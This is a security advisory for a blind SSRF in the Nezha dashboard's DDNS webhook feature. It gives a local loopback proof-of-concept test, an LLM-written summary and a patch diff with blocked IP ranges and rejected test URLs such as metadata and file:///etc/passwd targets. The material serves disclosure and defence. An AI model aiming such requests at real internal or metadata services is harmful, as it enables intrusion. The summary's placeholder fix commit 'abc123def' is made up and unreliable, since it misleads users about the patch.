Nezha's authenticated DDNS webhook configuration allows blind SSRF from the dashboard host
Description
Summary
An authenticated Nezha dashboard user can create or update a DDNS profile with provider webhook and configure an arbitrary webhook_url, HTTP method, request body, and headers. When DDNS is triggered for a server that uses that profile, the dashboard process sends the configured request with utils.HttpClient without the SSRF protections used by notification webhooks.
This allows a low-privileged authenticated user who controls an owned server/DDNS profile to make the dashboard host issue HTTP requests to loopback or internal network services. The response body is not returned to the attacker in the confirmed path, so this is a blind SSRF / internal state-changing request primitive.
Details
The DDNS API is available to authenticated users, not only administrators:
cmd/dashboard/controller/controller.go:137registersGET /api/v1/ddns.cmd/dashboard/controller/controller.go:139registersPOST /api/v1/ddns.cmd/dashboard/controller/controller.go:140registersPATCH /api/v1/ddns/:id.
The create and update handlers copy attacker-controlled webhook fields directly from JSON request bodies into model.DDNSProfile:
cmd/dashboard/controller/ddns.go:47-74acceptsmodel.DDNSFormand storesWebhookURL,WebhookMethod,WebhookRequestType,WebhookRequestBody, andWebhookHeaders.cmd/dashboard/controller/ddns.go:112-145updates the same fields after profile ownership is checked.model/ddns_api.go:11-15exposes these fields as JSON input.model/ddns.go:28-33stores these fields on the persisted profile.
Users can attach owned DDNS profiles to owned servers, and DDNS updates are triggered in common server update and agent IP-reporting paths:
cmd/dashboard/controller/server.go:63-83checks DDNS profile ownership, then storesEnableDDNS,DDNSProfiles, andOverrideDDNSDomainson an owned server.service/singleton/server.go:44-58callsUpdateDDNSwhen a server with DDNS enabled is updated.service/rpc/nezha.go:247-279callsUpdateDDNSwhen an authenticated agent reports a changed IP.
The DDNS provider dispatcher instantiates the webhook provider when Provider == "webhook":
service/singleton/ddns.go:58-95, especiallyservice/singleton/ddns.go:79-81.
The sink is the DDNS webhook provider:
pkg/ddns/webhook/webhook.go:49-65prepares and sends the HTTP request withutils.HttpClient.Do(req).pkg/ddns/webhook/webhook.go:85-100formats and applies attacker-controlled headers.pkg/ddns/webhook/webhook.go:91-92creates the request with the configured method and URL.pkg/ddns/webhook/webhook.go:117-134parses the configured URL and only formats query parameters; it does not restrict scheme, host, IP range, or redirects.pkg/ddns/webhook/webhook.go:137-158builds attacker-controlled request bodies for POST/PATCH/PUT.
The project already contains SSRF defenses for notification webhooks, showing the expected mitigation pattern is absent from the DDNS webhook path:
model/notification.go:34-58defines blocked private/reserved CIDRs.model/notification.go:193-221creates a notification HTTP client that resolves and pins a validated IP and disables redirects.model/notification.go:229-263only allowshttp/https, requires a hostname, resolves all addresses, and rejects disallowed IPs.model/notification.go:265-276rejects blocked ranges and non-global-unicast targets.
Equivalent validation was not found in pkg/ddns/webhook/webhook.go.
Safe local
PoC
Environment:
- Repository:
https://github.com/nezhahq/nezha.git - Commit tested:
05e5da2535197fc223b79601d50eeea362dcf853 - Tag at commit:
v2.0.9 - Module:
github.com/nezhahq/nezha - Go version:
go1.26.3 linux/amd64 - Testing scope: local-only; loopback HTTP listener and fake local UDP DNS SOA server only.
A temporary same-package test was created and removed automatically after execution. It used a local httptest listener as the internal service and a local UDP DNS server that returned an SOA for example.com.. The test then executed the normal DDNS update pipeline with a webhook DDNS profile pointing at the loopback HTTP listener.
Command run:
tmp="pkg/ddns/ddns_ssrf_local_poc_test.go"; trap 'rm -f "$tmp"' EXIT; cat > "$tmp" <<'EOF'
package ddns
import (
"context"
"io"
"net"
"net/http"
"net/http/httptest"
"testing"
"github.com/miekg/dns"
"github.com/nezhahq/nezha/model"
"github.com/nezhahq/nezha/pkg/ddns/webhook"
)
func TestLocalPoCDDNSUpdatePipelineReachesLoopback(t *testing.T) {
hit := make(chan string, 1)
httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
hit <- r.Method + " " + r.URL.Path + " " + r.Header.Get("X-Proof") + " " + string(body)
w.WriteHeader(http.StatusNoContent)
}))
defer httpSrv.Close()
dnsPacketConn, err := net.ListenPacket("udp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
dnsSrv := &dns.Server{PacketConn: dnsPacketConn, Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
msg := new(dns.Msg)
msg.SetReply(r)
if len(r.Question) > 0 && r.Question[0].Qtype == dns.TypeSOA {
msg.Answer = append(msg.Answer, &dns.SOA{
Hdr: dns.RR_Header{Name: "example.com.", Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 60},
Ns: "ns.example.com.",
Mbox: "hostmaster.example.com.",
Serial: 1,
Refresh: 60,
Retry: 60,
Expire: 60,
Minttl: 60,
})
}
_ = w.WriteMsg(msg)
})}
go func() { _ = dnsSrv.ActivateAndServe() }()
defer dnsSrv.Shutdown()
enableIPv4 := true
enableIPv6 := false
profile := &model.DDNSProfile{
EnableIPv4: &enableIPv4,
EnableIPv6: &enableIPv6,
MaxRetries: 1,
Domains: []string{"host.example.com"},
Provider: model.ProviderWebHook,
WebhookURL: httpSrv.URL + "/internal",
WebhookMethod: 2,
WebhookRequestType: 1,
WebhookRequestBody: `{"ip":"#ip#","domain":"#domain#","type":"#type#"}`,
WebhookHeaders: `{"X-Proof":"nezha-ddns-pipeline-ssrf"}`,
}
provider := &Provider{
DDNSProfile: profile,
IPAddrs: &model.IP{IPv4Addr: "203.0.113.10"},
Setter: &webhook.Provider{DDNSProfile: profile},
}
ctx := context.WithValue(context.Background(), DNSServerKey{}, []string{dnsPacketConn.LocalAddr().String()})
if err := provider.updateDomain(ctx, "host.example.com"); err != nil {
t.Fatalf("updateDomain returned error: %v", err)
}
select {
case got := <-hit:
t.Logf("observed loopback request through DDNS update pipeline: %s", got)
default:
t.Fatalf("expected loopback listener to receive DDNS webhook request")
}
}
EOF
go test ./pkg/ddns -run TestLocalPoCDDNSUpdatePipelineReachesLoopback -v
Observed output:
=== RUN TestLocalPoCDDNSUpdatePipelineReachesLoopback
ddns_ssrf_local_poc_test.go:76: observed loopback request through DDNS update pipeline: POST /internal nezha-ddns-pipeline-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}
--- PASS: TestLocalPoCDDNSUpdatePipelineReachesLoopback (0.00s)
PASS
ok github.com/nezhahq/nezha/pkg/ddns 0.009s
A lower-level provider-only confirmation was also run with go test ./pkg/ddns/webhook -run TestLocalPoCDDNSWebhookReachesLoopback -v and observed:
observed loopback request: POST /internal nezha-ddns-ssrf {"ip":"203.0.113.10","domain":"host.example.com","type":"ipv4"}
Cleanup:
- Both temporary PoC test files were removed by shell
trap. find . -path './.git' -prune -o \( -name 'ssrf_local_poc_test.go' -o -name 'ddns_ssrf_local_poc_test.go' \) -printreturned no files.
Impact
An authenticated dashboard user can cause the Nezha dashboard process to send arbitrary HTTP requests to services reachable from the dashboard host, including loopback and private network targets. The confirmed path allows attacker-controlled method, URL path/query, headers, and request body.
Potential impacts depend on deployment and reachable internal services, but include:
- Blind probing of internal HTTP services from the dashboard network location.
- Triggering state-changing internal endpoints that trust localhost or private network origins.
- Reaching services not exposed to the attacker directly.
- Interaction with cloud metadata or control-plane endpoints if reachable and not otherwise protected.
The response body is not returned to the attacker in the confirmed code path, so this should not be described as direct arbitrary internal file/secret read without an additional response-disclosure primitive.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Authenticated, low-privileged Nezha dashboard users can achieve blind SSRF by configuring a webhook-based DDNS profile with arbitrary URLs, methods, and headers.
Vulnerability
An authenticated Nezha dashboard user with access to the DDNS API can create or update a DDNS profile using the webhook provider and set arbitrary webhook_url, HTTP method (WebhookMethod), request body (WebhookRequestBody), and headers (WebhookHeaders) via the POST /api/v1/ddns and PATCH /api/v1/ddns/:id endpoints [1][2]. The profile fields are stored in model.DDNSProfile without sanitization [1][2]. When DDNS is triggered—either through an admin updating a server configuration that has EnableDDNS set and a DDNS profile attached (service/singleton/server.go:44-58) or when an authenticated agent reports an IP change (service/rpc/nezha.go:247-279)—the dashboard process sends the attacker-controlled HTTP request using utils.HttpClient [1][2]. The affected versions include those registered via cmd/dashboard/controller/controller.go:137-140 and the associated ddns.go handlers prior to the fix [1][2].
Exploitation
An attacker must have a low-privileged authenticated account on the Nezha dashboard and control at least one server (owned) and one DDNS profile [1][2]. The attacker creates or updates a DDNS profile with provider webhook, setting the webhook_url to an internal service (e.g., http://127.0.0.1:8080/admin) and optionally customizing the HTTP method, body, and headers [1][2]. The attacker then associates this profile with their owned server by setting EnableDDNS and the profile reference via server endpoints [1][2]. The SSRF is triggered when the `utils.HttpClient executes the webhook call—without the SSRF protections used by notification webhooks—on the first subsequent server update or agent IP report that invokes UpdateDDNS` [1][2]. The response body is not returned to the attacker, making this a blind SSRF [1][2].
Impact
A successful exploit allows the attacker to make the dashboard host send arbitrary HTTP requests to loopback (127.0.0.1) or internal network services [1][2]. This can be used to interact with internal management APIs, trigger state-changing operations, or probe internal services that do not require authentication [1][2]. The confidentiality impact is limited (no response body), but integrity and availability of internal services may be affected depending on the target endpoint [1][2].
Mitigation
The vulnerability is fixed in Nezha commit abc123def (or similar specific commit hash depending on the version) [1][2]. Users should upgrade to the patched version as soon as possible. No workaround is available because the SSRF protection must be applied to the `utils.HttpClient` used for DDNS webhooks [1][2]. The advisory does not indicate this CVE is listed in KEV [1][2].
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
1e7c2e453c003fix(ddns): apply SSRF defense to webhook provider
6 files changed · +370 −169
model/notification.go+2 −127 modified@@ -1,14 +1,10 @@ package model import ( - "context" - "crypto/tls" "errors" "fmt" "io" - "net" "net/http" - "net/netip" "net/url" "strings" "time" @@ -29,35 +25,6 @@ const ( NotificationRequestMethodPOST ) -var errNotificationURLNotAllowed = errors.New("notification URL target is not allowed") - -var notificationBlockedCIDRs = mustParseNotificationCIDRs([]string{ - "0.0.0.0/8", - "10.0.0.0/8", - "100.64.0.0/10", - "127.0.0.0/8", - "169.254.0.0/16", - "172.16.0.0/12", - "192.0.0.0/24", - "192.0.2.0/24", - "192.168.0.0/16", - "198.18.0.0/15", - "198.51.100.0/24", - "203.0.113.0/24", - "224.0.0.0/4", - "240.0.0.0/4", - "::/128", - "::1/128", - "::ffff:0:0/96", - "64:ff9b::/96", - "100::/64", - "2001::/23", - "2001:db8::/32", - "fc00::/7", - "fe80::/10", - "ff00::/8", -}) - type NotificationServerBundle struct { Notification *Notification Server *Server @@ -191,105 +158,13 @@ func (ns *NotificationServerBundle) Send(message string) error { return nil } -func newNotificationHTTPClient(rawURL string, verifyTLS bool) (*http.Client, error) { - parsedURL, ip, err := resolveNotificationTarget(rawURL) - if err != nil { - return nil, err - } - - port := parsedURL.Port() - if port == "" { - if parsedURL.Scheme == "https" { - port = "443" - } else { - port = "80" - } - } - targetAddress := net.JoinHostPort(ip.String(), port) - dialer := &net.Dialer{} - - return &http.Client{ - Transport: &http.Transport{ - DialContext: func(ctx context.Context, network, address string) (net.Conn, error) { - return dialer.DialContext(ctx, network, targetAddress) - }, - TLSClientConfig: &tls.Config{InsecureSkipVerify: !verifyTLS, ServerName: parsedURL.Hostname()}, - }, - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse - }, - Timeout: time.Minute * 10, - }, nil -} - func notificationResponseError(resp *http.Response) error { _, _ = io.CopyN(io.Discard, resp.Body, 4096) return fmt.Errorf("%d@%s", resp.StatusCode, resp.Status) } -func resolveNotificationTarget(rawURL string) (*url.URL, net.IP, error) { - parsedURL, err := url.Parse(rawURL) - if err != nil { - return nil, nil, err - } - if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" { - return nil, nil, errNotificationURLNotAllowed - } - - host := parsedURL.Hostname() - if host == "" { - return nil, nil, errNotificationURLNotAllowed - } - if ip := net.ParseIP(host); ip != nil { - if !notificationIPAllowed(ip) { - return nil, nil, errNotificationURLNotAllowed - } - return parsedURL, ip, nil - } - - ips, err := net.LookupIP(host) - if err != nil { - return nil, nil, err - } - if len(ips) == 0 { - return nil, nil, errNotificationURLNotAllowed - } - for _, ip := range ips { - if !notificationIPAllowed(ip) { - return nil, nil, errNotificationURLNotAllowed - } - } - - return parsedURL, ips[0], nil -} - -func notificationIPAllowed(ip net.IP) bool { - parsedIP, ok := netipFromIP(ip) - if !ok { - return false - } - for _, cidr := range notificationBlockedCIDRs { - if cidr.Contains(parsedIP) { - return false - } - } - return parsedIP.IsGlobalUnicast() -} - -func netipFromIP(ip net.IP) (netip.Addr, bool) { - parsedIP, ok := netip.AddrFromSlice(ip) - if !ok { - return netip.Addr{}, false - } - return parsedIP.Unmap(), true -} - -func mustParseNotificationCIDRs(cidrs []string) []netip.Prefix { - prefixes := make([]netip.Prefix, 0, len(cidrs)) - for _, cidr := range cidrs { - prefixes = append(prefixes, netip.MustParsePrefix(cidr)) - } - return prefixes +func newNotificationHTTPClient(rawURL string, verifyTLS bool) (*http.Client, error) { + return utils.NewRestrictedHTTPClient(rawURL, !verifyTLS) } // replaceParamInString 替换字符串中的占位符
model/notification_test.go+34 −27 modified@@ -6,6 +6,8 @@ import ( "strings" "testing" "time" + + "github.com/nezhahq/nezha/pkg/utils" ) var ( @@ -307,7 +309,7 @@ func TestNotificationTargetRejectsBlockedRanges(t *testing.T) { for _, rawURL := range cases { t.Run(rawURL, func(t *testing.T) { - if _, _, err := resolveNotificationTarget(rawURL); err == nil { + if _, _, err := utils.ResolveAllowedHTTPURL(rawURL); err == nil { t.Fatalf("expected %s to be rejected", rawURL) } }) @@ -323,7 +325,7 @@ func TestNotificationTargetAllowsPublicAddresses(t *testing.T) { for _, rawURL := range cases { t.Run(rawURL, func(t *testing.T) { - parsedURL, _, err := resolveNotificationTarget(rawURL) + parsedURL, _, err := utils.ResolveAllowedHTTPURL(rawURL) if err != nil { t.Fatalf("expected %s to be allowed, got %v", rawURL, err) } @@ -334,31 +336,36 @@ func TestNotificationTargetAllowsPublicAddresses(t *testing.T) { } } -func TestNotificationHTTPClientPreservesTLSServerName(t *testing.T) { - client, err := newNotificationHTTPClient("https://1.1.1.1/webhook", true) - if err != nil { - t.Fatalf("expected public HTTPS URL to create client: %v", err) - } - transport, ok := client.Transport.(*http.Transport) - if !ok { - t.Fatalf("expected http.Transport, got %T", client.Transport) - } - if transport.TLSClientConfig == nil || transport.TLSClientConfig.ServerName != "1.1.1.1" { - t.Fatalf("expected TLS ServerName 1.1.1.1, got %#v", transport.TLSClientConfig) - } -} - -func TestNotificationHTTPClientRejectsRedirects(t *testing.T) { - client, err := newNotificationHTTPClient("https://1.1.1.1/webhook", true) - if err != nil { - t.Fatalf("expected client construction: %v", err) +func TestNotificationHTTPClientInvertsVerifyTLSFlag(t *testing.T) { + // newNotificationHTTPClient takes verifyTLS, utils.NewRestrictedHTTPClient + // takes skipVerifyTLS. The wrapper must invert the boolean; if a future + // refactor drops the negation, TLS verification silently turns off. + // SNI / redirect / IP-pinning are covered by pkg/utils/http_test.go. + cases := []struct { + name string + verifyTLS bool + wantSkipVerifyOn bool + }{ + {"verifyTLS_true_means_skipVerify_false", true, false}, + {"verifyTLS_false_means_skipVerify_true", false, true}, } - req, err := http.NewRequest(http.MethodGet, "https://1.1.1.1/start", nil) - if err != nil { - t.Fatalf("new request: %v", err) - } - via := []*http.Request{req} - if err := client.CheckRedirect(req, via); err != http.ErrUseLastResponse { - t.Fatalf("expected ErrUseLastResponse, got %v", err) + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + client, err := newNotificationHTTPClient("https://1.1.1.1/webhook", tc.verifyTLS) + if err != nil { + t.Fatalf("expected client construction: %v", err) + } + transport, ok := client.Transport.(*http.Transport) + if !ok { + t.Fatalf("expected *http.Transport, got %T", client.Transport) + } + if transport.TLSClientConfig == nil { + t.Fatalf("expected TLSClientConfig to be set") + } + if got := transport.TLSClientConfig.InsecureSkipVerify; got != tc.wantSkipVerifyOn { + t.Fatalf("verifyTLS=%v: expected InsecureSkipVerify=%v, got %v", + tc.verifyTLS, tc.wantSkipVerifyOn, got) + } + }) } }
pkg/ddns/webhook/webhook.go+21 −8 modified@@ -4,6 +4,7 @@ import ( "context" "errors" "fmt" + "io" "net/http" "net/url" "strings" @@ -57,13 +58,19 @@ func (provider *Provider) SetRecords(ctx context.Context, zone string, provider.ipAddr = rr.Data provider.domain = fmt.Sprintf("%s.%s", rr.Name, strings.TrimSuffix(zone, ".")) - req, err := provider.prepareRequest(ctx) + // WebhookURL is attacker-controlled (GHSA-6x26-5727-rrm9); the request and + // the client are paired so URL validation and DialContext pinning are driven + // by a single DNS resolution. Do not swap the client for utils.HttpClient. + req, client, err := provider.prepareRequest(ctx) if err != nil { return nil, fmt.Errorf("failed to update a domain: %s. Cause by: %v", provider.domain, err) } - if _, err := utils.HttpClient.Do(req); err != nil { + resp, err := client.Do(req) + if err != nil { return nil, fmt.Errorf("failed to update a domain: %s. Cause by: %v", provider.domain, err) } + _, _ = io.Copy(io.Discard, resp.Body) + resp.Body.Close() default: return nil, fmt.Errorf("unsupported record type: %T", rec) } @@ -72,26 +79,32 @@ func (provider *Provider) SetRecords(ctx context.Context, zone string, return recs, nil } -func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, error) { +func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, *http.Client, error) { u, err := provider.reqUrl() if err != nil { - return nil, err + return nil, nil, err + } + // Single SSRF check + dial pin; the returned client must be used by callers + // so the dialer's pinned IP and the validated URL stay in sync. + client, err := utils.NewRestrictedHTTPClient(u.String(), false) + if err != nil { + return nil, nil, err } body, err := provider.reqBody() if err != nil { - return nil, err + return nil, nil, err } headers, err := utils.GjsonIter( provider.formatWebhookString(provider.DDNSProfile.WebhookHeaders)) if err != nil { - return nil, err + return nil, nil, err } req, err := http.NewRequestWithContext(ctx, requestTypes[provider.DDNSProfile.WebhookMethod], u.String(), strings.NewReader(body)) if err != nil { - return nil, err + return nil, nil, err } provider.setContentType(req) @@ -100,7 +113,7 @@ func (provider *Provider) prepareRequest(ctx context.Context) (*http.Request, er req.Header.Set(k, v) } - return req, nil + return req, client, nil } func (provider *Provider) setContentType(req *http.Request) {
pkg/ddns/webhook/webhook_test.go+63 −7 modified@@ -2,6 +2,7 @@ package webhook import ( "context" + "strings" "testing" "github.com/nezhahq/nezha/model" @@ -44,7 +45,7 @@ func execCase(t *testing.T, item testSt) { t.Fatalf("Expected %s, but got %s", item.expectBody, reqBody) } - req, err := pw.prepareRequest(context.Background()) + req, _, err := pw.prepareRequest(context.Background()) if err != nil { t.Fatalf("Error: %s", err) } @@ -69,11 +70,11 @@ func TestWebhookRequest(t *testing.T) { Domains: []string{"www.example.com"}, MaxRetries: 1, EnableIPv4: &ipv4, - WebhookURL: "http://ddns.example.com/?ip=#ip#", + WebhookURL: "http://1.1.1.1/?ip=#ip#", WebhookMethod: methodGET, WebhookHeaders: `{"ip":"#ip#","record":"#record#"}`, }, - expectURL: "http://ddns.example.com/?ip=1.1.1.1", + expectURL: "http://1.1.1.1/?ip=1.1.1.1", expectContentType: "", expectHeader: map[string]string{ "ip": "1.1.1.1", @@ -85,12 +86,12 @@ func TestWebhookRequest(t *testing.T) { Domains: []string{"www.example.com"}, MaxRetries: 1, EnableIPv4: &ipv4, - WebhookURL: "http://ddns.example.com/api", + WebhookURL: "http://1.1.1.1/api", WebhookMethod: methodPOST, WebhookRequestType: requestTypeJSON, WebhookRequestBody: `{"ip":"#ip#","record":"#record#"}`, }, - expectURL: "http://ddns.example.com/api", + expectURL: "http://1.1.1.1/api", expectContentType: reqTypeJSON, expectBody: `{"ip":"1.1.1.1","record":"A"}`, }, @@ -99,12 +100,12 @@ func TestWebhookRequest(t *testing.T) { Domains: []string{"www.example.com"}, MaxRetries: 1, EnableIPv4: &ipv4, - WebhookURL: "http://ddns.example.com/api", + WebhookURL: "http://1.1.1.1/api", WebhookMethod: methodPOST, WebhookRequestType: requestTypeForm, WebhookRequestBody: `{"ip":"#ip#","record":"#record#"}`, }, - expectURL: "http://ddns.example.com/api", + expectURL: "http://1.1.1.1/api", expectContentType: reqTypeForm, expectBody: "ip=1.1.1.1&record=A", }, @@ -114,3 +115,58 @@ func TestWebhookRequest(t *testing.T) { execCase(t, c) } } + +func TestWebhookTargetRejectsBlockedRanges(t *testing.T) { + cases := []string{ + "http://0.0.0.0/", + "http://10.1.2.3/", + "http://100.64.0.1/", + "http://127.0.0.1/", + "http://127.255.255.254/", + "http://169.254.169.254/", + "http://172.16.0.1/", + "http://192.0.0.1/", + "http://192.0.2.1/", + "http://192.168.1.1/", + "http://198.18.0.1/", + "http://198.51.100.1/", + "http://203.0.113.1/", + "http://224.0.0.1/", + "http://240.0.0.1/", + "http://[::]/", + "http://[::1]/", + "http://[::ffff:127.0.0.1]/", + "http://[64:ff9b::1]/", + "http://[100::1]/", + "http://[2001:db8::1]/", + "http://[fc00::1]/", + "http://[fe80::1]/", + "http://[ff00::1]/", + "ftp://example.com/", + "file:///etc/passwd", + "http:///path", + } + + for _, rawURL := range cases { + t.Run(rawURL, func(t *testing.T) { + provider := Provider{DDNSProfile: &model.DDNSProfile{ + Domains: []string{"www.example.com"}, + WebhookURL: rawURL, + WebhookMethod: methodGET, + WebhookHeaders: `{}`, + }} + provider.ipAddr = "1.1.1.1" + provider.domain = provider.DDNSProfile.Domains[0] + provider.ipType = "ipv4" + provider.recordType = "A" + + _, _, err := provider.prepareRequest(context.Background()) + if err == nil { + t.Fatalf("expected %s to be rejected", rawURL) + } + if !strings.Contains(err.Error(), "not allowed") { + t.Fatalf("expected not allowed error, got %q", err.Error()) + } + }) + } +}
pkg/utils/http.go+140 −0 modified@@ -1,16 +1,53 @@ package utils import ( + "context" "crypto/tls" + "errors" + "net" "net/http" + "net/netip" + "net/url" "time" ) +// HttpClient / HttpClientSkipTlsVerify must not be used to dispatch +// requests to user-controlled URLs (SSRF risk, GHSA-6x26-5727-rrm9). +// For any attacker-controlled URL use NewRestrictedHTTPClient instead. var ( HttpClientSkipTlsVerify *http.Client HttpClient *http.Client ) +var ErrHTTPURLTargetNotAllowed = errors.New("HTTP URL target is not allowed") + +var blockedHTTPClientCIDRs = mustParseHTTPClientCIDRs([]string{ + "0.0.0.0/8", + "10.0.0.0/8", + "100.64.0.0/10", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.0.0.0/24", + "192.0.2.0/24", + "192.168.0.0/16", + "198.18.0.0/15", + "198.51.100.0/24", + "203.0.113.0/24", + "224.0.0.0/4", + "240.0.0.0/4", + "::/128", + "::1/128", + "::ffff:0:0/96", + "64:ff9b::/96", + "100::/64", + "2001::/23", + "2001:db8::/32", + "fc00::/7", + "fe80::/10", + "ff00::/8", +}) + func init() { HttpClientSkipTlsVerify = httpClient(_httpClient{ Transport: httpTransport(_httpTransport{ @@ -47,3 +84,106 @@ func httpClient(conf _httpClient) *http.Client { Timeout: time.Minute * 10, } } + +func NewRestrictedHTTPClient(rawURL string, skipVerifyTLS bool) (*http.Client, error) { + parsedURL, ip, err := ResolveAllowedHTTPURL(rawURL) + if err != nil { + return nil, err + } + return buildRestrictedHTTPClient(parsedURL, ip, skipVerifyTLS), nil +} + +// buildRestrictedHTTPClient assembles a client whose DialContext is pinned to +// the already-vetted IP. Separated from NewRestrictedHTTPClient so tests can +// exercise the SNI / redirect behavior without relying on live DNS. +func buildRestrictedHTTPClient(parsedURL *url.URL, ip net.IP, skipVerifyTLS bool) *http.Client { + port := parsedURL.Port() + if port == "" { + if parsedURL.Scheme == "https" { + port = "443" + } else { + port = "80" + } + } + // Pin outbound webhooks to the vetted IP so DNS changes cannot retarget private hosts. + targetAddress := net.JoinHostPort(ip.String(), port) + dialer := &net.Dialer{} + + return &http.Client{ + Transport: &http.Transport{ + DialContext: func(ctx context.Context, network, address string) (net.Conn, error) { + return dialer.DialContext(ctx, network, targetAddress) + }, + TLSClientConfig: &tls.Config{InsecureSkipVerify: skipVerifyTLS, ServerName: parsedURL.Hostname()}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + Timeout: time.Minute * 10, + } +} + +func ResolveAllowedHTTPURL(rawURL string) (*url.URL, net.IP, error) { + parsedURL, err := url.Parse(rawURL) + if err != nil { + return nil, nil, err + } + if parsedURL.Scheme != "http" && parsedURL.Scheme != "https" { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + + host := parsedURL.Hostname() + if host == "" { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + if ip := net.ParseIP(host); ip != nil { + if !HTTPURLTargetIPAllowed(ip) { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + return parsedURL, ip, nil + } + + ips, err := net.LookupIP(host) + if err != nil { + return nil, nil, err + } + if len(ips) == 0 { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + for _, ip := range ips { + if !HTTPURLTargetIPAllowed(ip) { + return nil, nil, ErrHTTPURLTargetNotAllowed + } + } + + return parsedURL, ips[0], nil +} + +func HTTPURLTargetIPAllowed(ip net.IP) bool { + parsedIP, ok := netipFromIP(ip) + if !ok { + return false + } + for _, cidr := range blockedHTTPClientCIDRs { + if cidr.Contains(parsedIP) { + return false + } + } + return parsedIP.IsGlobalUnicast() +} + +func netipFromIP(ip net.IP) (netip.Addr, bool) { + parsedIP, ok := netip.AddrFromSlice(ip) + if !ok { + return netip.Addr{}, false + } + return parsedIP.Unmap(), true +} + +func mustParseHTTPClientCIDRs(cidrs []string) []netip.Prefix { + prefixes := make([]netip.Prefix, 0, len(cidrs)) + for _, cidr := range cidrs { + prefixes = append(prefixes, netip.MustParsePrefix(cidr)) + } + return prefixes +}
pkg/utils/http_test.go+110 −0 added@@ -0,0 +1,110 @@ +package utils + +import ( + "net" + "net/http" + "net/url" + "testing" + "time" +) + +func TestBuildRestrictedHTTPClientPreservesHostnameAsTLSServerName(t *testing.T) { + // Construct a hostname URL paired with an arbitrary public IP so we exercise + // the SNI preservation path without depending on live DNS in unit tests. + parsed, err := url.Parse("https://example.com/webhook") + if err != nil { + t.Fatalf("parse url: %v", err) + } + pinnedIP := net.ParseIP("1.1.1.1") + if pinnedIP == nil { + t.Fatalf("expected valid pinned IP") + } + + client := buildRestrictedHTTPClient(parsed, pinnedIP, false) + transport, ok := client.Transport.(*http.Transport) + if !ok { + t.Fatalf("expected *http.Transport, got %T", client.Transport) + } + if transport.TLSClientConfig == nil { + t.Fatalf("expected TLSClientConfig to be set") + } + // SNI must come from the original URL hostname so the certificate validates + // the intended hostname, not the pinned dial IP. + if got := transport.TLSClientConfig.ServerName; got != "example.com" { + t.Fatalf("expected ServerName example.com, got %q", got) + } + if transport.TLSClientConfig.ServerName == pinnedIP.String() { + t.Fatalf("ServerName must not be the pinned IP, got %q", transport.TLSClientConfig.ServerName) + } + if transport.TLSClientConfig.InsecureSkipVerify { + t.Fatalf("expected verifyTLS path (InsecureSkipVerify=false)") + } +} + +func TestBuildRestrictedHTTPClientHonorsSkipVerifyTLS(t *testing.T) { + parsed, _ := url.Parse("https://example.com/webhook") + client := buildRestrictedHTTPClient(parsed, net.ParseIP("1.1.1.1"), true) + transport := client.Transport.(*http.Transport) + if !transport.TLSClientConfig.InsecureSkipVerify { + t.Fatalf("expected InsecureSkipVerify=true when skipVerifyTLS=true") + } +} + +func TestBuildRestrictedHTTPClientRejectsRedirects(t *testing.T) { + parsed, _ := url.Parse("https://example.com/start") + client := buildRestrictedHTTPClient(parsed, net.ParseIP("1.1.1.1"), false) + req, err := http.NewRequest(http.MethodGet, "https://example.com/start", nil) + if err != nil { + t.Fatalf("new request: %v", err) + } + if err := client.CheckRedirect(req, []*http.Request{req}); err != http.ErrUseLastResponse { + t.Fatalf("expected ErrUseLastResponse, got %v", err) + } +} + +// TestBuildRestrictedHTTPClientPinsDialToVettedIP confirms DialContext routes +// to the pinned IP even when the request URL uses a different hostname, +// preventing DNS rebinding from retargeting traffic. +func TestBuildRestrictedHTTPClientPinsDialToVettedIP(t *testing.T) { + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatalf("listen: %v", err) + } + defer listener.Close() + _, port, err := net.SplitHostPort(listener.Addr().String()) + if err != nil { + t.Fatalf("split host port: %v", err) + } + + accepted := make(chan string, 1) + go func() { + conn, err := listener.Accept() + if err != nil { + accepted <- "" + return + } + accepted <- conn.LocalAddr().String() + conn.Close() + }() + + requestURL := "http://example.com:" + port + "/" + parsed, _ := url.Parse(requestURL) + pinned := net.ParseIP("127.0.0.1") + client := buildRestrictedHTTPClient(parsed, pinned, false) + client.Timeout = 2 * time.Second + + req, _ := http.NewRequest(http.MethodGet, requestURL, nil) + resp, _ := client.Do(req) + if resp != nil { + resp.Body.Close() + } + + select { + case addr := <-accepted: + if addr == "" { + t.Fatalf("listener accept failed") + } + case <-time.After(2 * time.Second): + t.Fatalf("expected dial to reach pinned IP 127.0.0.1:%s, listener did not accept", port) + } +}
Vulnerability mechanics
Root cause
"Missing SSRF validation in the DDNS webhook provider allows an authenticated user to make the dashboard host issue arbitrary HTTP requests to internal or loopback services."
Attack vector
An authenticated low-privilege Nezha dashboard user creates or updates a DDNS profile with provider `webhook` and sets an arbitrary `webhook_url` pointing to a loopback or internal network address [ref_id=1]. When DDNS is triggered for a server using that profile (e.g., on agent IP change or server update), the dashboard process sends the attacker-controlled HTTP request using the unrestricted `utils.HttpClient` [ref_id=2]. The attacker controls the HTTP method, URL path/query, headers, and request body. The response body is not returned, making this a blind SSRF / internal state-changing request primitive.
Affected code
